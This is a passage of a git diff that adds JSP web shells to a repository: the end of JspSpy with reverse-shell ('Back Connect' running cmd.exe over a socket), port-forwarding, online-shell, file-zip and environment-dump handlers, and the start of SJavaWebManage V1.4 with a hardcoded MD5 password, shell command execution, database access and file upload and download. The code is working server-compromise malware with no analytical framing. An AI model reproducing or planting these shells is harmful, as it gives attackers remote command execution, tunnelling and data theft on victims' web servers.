+response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +""+ +"

                            PortMap >>

                            "+ +"
                            "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

                            "+ +" "+ +" "+ +"
                            "+ +"
                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +""+ +"

                            Back Connect >>

                            "+ +"
                            "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

                            "+ +" "+ +"
                            "+ +"
                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

                            System Properties >>

                            "+ +"
                            "+ +"
                            "+ +"
                              "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
                            • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
                            • "); +} +out.println("

                            System Environment >>


                              "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
                            • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
                            • "); +} +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
                            Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
                            "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
                            "); +out.println("

                            Shell OnLine »


                            "); +out.println("
                            "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
                            "+ +"
                            "+ +" "+ +"
                            "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
                            "+ +" " +); +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流。 +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
                            "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> diff --git a/jsp/SJavaWebManageV1.4.jsp b/jsp/SJavaWebManageV1.4.jsp new file mode 100644 index 0000000..e84edb2 --- /dev/null +++ b/jsp/SJavaWebManageV1.4.jsp @@ -0,0 +1,1754 @@ +<%@page import="java.sql.ResultSetMetaData"%> +<%@page import="java.sql.ResultSet"%> +<%@page import="java.sql.DatabaseMetaData"%> +<%@page import="java.sql.DriverManager"%> +<%@page import="java.sql.Statement"%> +<%@page import="java.sql.Connection"%> +<%@page import="java.nio.charset.Charset"%> +<%@page import="java.text.DecimalFormat"%> +<%@page import="java.util.Properties"%> +<%@page import="java.util.ArrayList"%> +<%@page import="java.util.zip.ZipOutputStream"%> +<%@page import="java.util.zip.ZipEntry"%> +<%@page import="java.util.HashMap"%> +<%@page import="java.io.*"%> +<%@page import="java.util.Date"%> +<%@page import="java.text.SimpleDateFormat"%> +<%@page import="java.util.Iterator"%> +<%@page import="java.util.Map"%> +<%@page import="java.security.MessageDigest"%> +<%@ page language="java" contentType="text/html; charset=UTF-8" + pageEncoding="UTF-8"%> +<%! +private static final String PASS = "098f6bcd4621d373cade4e832627b4f6";//test +private static final String VERSION = "V1.4-20160528"; +private static final String[] Encodings = {"UTF-8","GB2312","GBK","ISO-8859-1","ASCII","Big5"}; +private static final String REQUEST_ENCODING = "ISO-8859-1"; +private static final String PAGE_ENCODING = "UTF-8"; +private static final String checkNewVersion = "http://www.shack2.org/soft/javamanage/Getnewversion.jsp";//检查新版本更新 + +private static final String DBO = "mydbdao";//Session数据库连接常量 +/*工具类*/ +public static class Util{ + public static String get32Md5(String str){ + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + byte b[] = md.digest(); + int i; + StringBuffer buf = new StringBuffer(""); + for (int offset = 0; offset < b.length; offset++) { + i = b[offset]; + if (i < 0) + i += 256; + if (i < 16) + buf.append("0"); + buf.append(Integer.toHexString(i)); + } + + return buf.toString().toLowerCase(); + + } catch (Exception e) { + + } + return ""; + } + public static boolean isEmpty(String val){ + if(val==null||"".equals(val)){ + return true; + } + return false; + } + public static String execCmd(String cmd,String encode){ + + String result=""; + String[] rmd=cmd.split(" "); + String[] cmds =new String[rmd.length+2]; + String OS = System.getProperty("os.name"); + if (OS.startsWith("Windows")) { + cmds[0]="cmd"; + cmds[1]="/c"; + } + else { + cmds[0]="/bin/sh"; + cmds[1]="-c"; + } + for(int i=0;i"; + disr = br.readLine(); + } + if (p.waitFor() != 0){ + + in = new BufferedInputStream(p.getErrorStream()); + br = new BufferedReader(new InputStreamReader(in)); + dis = new DataInputStream(in); + disr = br.readLine(); + while ( disr != null ) { + result+=disr+"
                            "; + disr = br.readLine(); + } + } + }catch(Exception e){ + result=e.getMessage(); + }finally{ + if(p!=null){ + p.destroyForcibly(); + } + + } + return result.replaceAll("\\r\\n", "
                            "); + } + + public static String formatPath(String path){ + if(isEmpty(path)){ + return ""; + } + return path.replaceAll("\\\\","/").replace('\\', '/').replaceAll("//", "/"); + } + + public static String formatDate(long time) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); + return format.format(new Date(time)); + } + //获取参数值 + public static String getRequestStringVal(HttpServletRequest request,String key){ + String val=request.getParameter(key); + if(!isEmpty(val)){ + return val; + } + return ""; + } + public static int getRequestIntVal(HttpServletRequest request,String key){ + String val=getRequestStringVal(request,key); + int v=0; + try{ + v=Integer.parseInt(val); + }catch(Exception e){ + + } + return v; + } + // + + public static void print(JspWriter out,int level,String info) throws Exception{ + try{ + + if(level==1){ + out.print(""+info+""); + } + else if(level==2){ + out.print(""+info+""); + } + else if(level==3){ + out.print(""+info+""); + } + else{ + out.print(""+info+""); + } + }catch(Exception e){ + throw e; + } + } +} +/* +数据库操作工具类 +*/ +private static class DBUtil{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBUtil(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBUtil(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +try{ +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +}catch(ClassNotFoundException e){ + e.printStackTrace(); + throw e; +} +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return ""+stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean notchange(String driver,String url,String uid,String pwd) { +return (this.driver.equals(driver) && this.url.equals(url) && this.uid.equals(uid) && this.pwd.equals(pwd)); +} +public Connection getConn(){ +return this.conn; +} +} + +/** + *将文件或是文件夹打包压缩成zip格式 + * + */ +public static class ZipUtils { + /** + * 创建ZIP文件 + * @param sourcePath 文件或文件夹路径(多个请用逗号隔开) + * @param zipPath 生成的zip文件存在路径(包括文件名) + */ + public static void createZip(String sourcePath, String zipPath) { + FileOutputStream fos = null; + ZipOutputStream zos = null; + try { + fos = new FileOutputStream(zipPath); + zos = new ZipOutputStream(fos); + String[] fs=sourcePath.split(","); + for(int i=0;i", ">"); + } + + public static void newFile(String path,String isDir) throws Exception{ + + File f=new File(path); + if(!f.exists()){ + if("1".equals(isDir)){ + f.mkdir(); + } + else{ + f.createNewFile(); + } + } + } + + public static void downLoadFile(HttpServletResponse response,String path){ + OutputStream os=null; + FileInputStream fis=null; + BufferedInputStream bis=null; + try { + String fname=path.substring(path.lastIndexOf("/")+1); + File f=new File(path); + os= response.getOutputStream(); + + response.reset(); + response.setHeader("Content-Disposition", "attachment; filename="+fname); + response.setContentType("application/octet-stream; charset=UTF-8"); + fis=new FileInputStream(path); + bis=new BufferedInputStream(fis); + byte[] tem=new byte[4068]; + int len=0; + while((len=bis.read(tem))!=-1){ + os.write(tem,0,len); + } + + }catch(Exception e){} + finally { + try{ + if(bis!=null) bis.close(); + if(fis!=null)fis.close(); + + if (os != null) { + os.flush(); + os.close(); + } + }catch(Exception e){} + } + } + +} + +/*上传类*/ +public static class UploadFile { + + /** + * 上传文件组件,调用该方法的servlet在使用该方法前必须先调用request.setCharacterEncoding()方法,设置编码格式。该编码格式须与页面编码格式一致。 + * @param sis 数据流 + * @param encoding 编码方式。必须与jsp页面编码方式一样,否则会有乱码。 + * @param length 数据流长度 + * @param upLoadPath 文件保存路径 + * @throws FileNotFoundException + * @throws IOException + */ + public static HashMap uploadFile(ServletInputStream sis, String encoding, int length, String upLoadPath) throws IOException { + HashMap paramMap = new HashMap(); + + boolean isFirst = true; + String boundary = null;//分界符 + byte[] tmpBytes = new byte[4096];//tmpBytes用于存储每行读取到的字节。 + int[] readBytesLength = new int[1];//数组readBytesLength中的元素i[0],用于保存readLine()方法中读取的实际字节数。 + int readStreamlength = 0;//readStreamlength用于记录已经读取的流的长度。 + String tmpString = null; + + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + while (readStreamlength < length) { + if (isFirst) { + boundary = tmpString; + isFirst = false; + } + if (tmpString.equals(boundary)) { + String contentDisposition = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + String contentType = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + //当时上传文件时content-Type不会是null + if (contentType != null && contentType.trim().length() != 0) { + String paramName = getPramName(contentDisposition); + String fileName = getFileName(getFilePath(contentDisposition)); + + paramMap.put(paramName, fileName); + + //跳过空格行 + readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + + /* + * 文件名不为空,则上传了文件。 + */ + if (fileName != null && fileName.trim().length() != 0) { + fileName = upLoadPath + fileName; + + //开始读取数据 + byte[] cash = new byte[4096]; + int flag = 0; + FileOutputStream fos = new FileOutputStream(fileName); + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + /* + *分界符跟结束符虽然看上去只是结束符比分界符多了“--”,其实不是, + *分界符是“-----------------------------45931489520280”后面有2个看不见的回车换行符,即0D 0A + *而结束符是“-----------------------------45931489520280--”后面再跟2个看不见的回车换行符,即0D 0A + * + */ + while (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) { + for (int j = 0; j < readBytesLength[0]; j++) { + cash[j] = tmpBytes[j]; + } + flag = readBytesLength[0]; + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + if (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) { + fos.write(cash, 0, flag); + fos.flush(); + } else { + fos.write(cash, 0, flag - 2); + fos.flush(); + } + } + fos.close(); + } else { + //跳过空格行 + readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + + //读取分界符或者结束符 + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + } + } //当不是长传文件时 + else { + String paramName = getPramName(contentDisposition); + String value = readLine(tmpBytes, readBytesLength, sis, encoding); + //去掉回车换行符(最后两个字节) + byte[] valueByte=value.getBytes(encoding); + value =new String(valueByte, 0, valueByte.length-2, encoding); + + readStreamlength = readStreamlength + readBytesLength[0]; + paramMap.put(paramName, value); + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + } + } + + } + sis.close(); + return paramMap; + } + + /** + * 从流中读取一行数据。 + * @param bytes 字节数组,用于保存从流中读取到的字节。 + * @param index 一个整型数组,只有一个元素,即index[0],用于保存从流中实际读取的字节数。 + * @param sis 数据流 + * @param encoding 组建字符串时所用的编码 + * @return 将读取到的字节经特定编码方式组成的字符串。 + */ + private static String readLine(byte[] bytes, int[] index, ServletInputStream sis, String encoding) { + try { + index[0] = sis.readLine(bytes, 0, bytes.length);//readLine()方法把读取的内容保存到bytes数组的第0到第bytes.length处,返回值是实际读取的 字节数。 + if (index[0] < 0) { + return null; + } + } catch (IOException e) { + return null; + } + if (encoding == null) { + return new String(bytes, 0, index[0]); + } else { + try { + return new String(bytes, 0, index[0], encoding); + } catch (Exception ex) { + return null; + } + } + + } + + private static String getPramName(String contentDisposition) { + String s = contentDisposition.substring(contentDisposition.indexOf("name=\"") + 6); + s = s.substring(0, s.indexOf('\"')); + return s; + } + + private static String getFilePath(String contentDisposition) { + String s = contentDisposition.substring(contentDisposition.indexOf("filename=\"") + 10); + s = s.substring(0, s.indexOf('\"')); + return s; + } + + private static String getFileName(String filePath) { + String rtn = null; + if (filePath != null) { + int index = filePath.lastIndexOf("/");//根据name中包不包含/来判断浏览器的类型。 + if (index != -1)//包含/,则此时可以判断文件由火狐浏览器上传 + { + rtn = filePath.substring(index + 1);//获得文件名 + } else//不包含/,可以判断文件由ie浏览器上传。 + { + index = filePath.lastIndexOf("\\"); + if (index != -1) { + rtn = filePath.substring(index + 1);//获得文件名 + } else { + rtn = filePath; + } + } + } + return rtn; + } +} +%> +<% +request.setCharacterEncoding(PAGE_ENCODING); +//shell所在磁盘路径 +final String shellPath=request.getContextPath()+request.getServletPath(); + +//shell磁盘更目录 +String webRootPath=request.getSession().getServletContext().getRealPath("/"); + +if (Util.isEmpty(webRootPath)) {//for 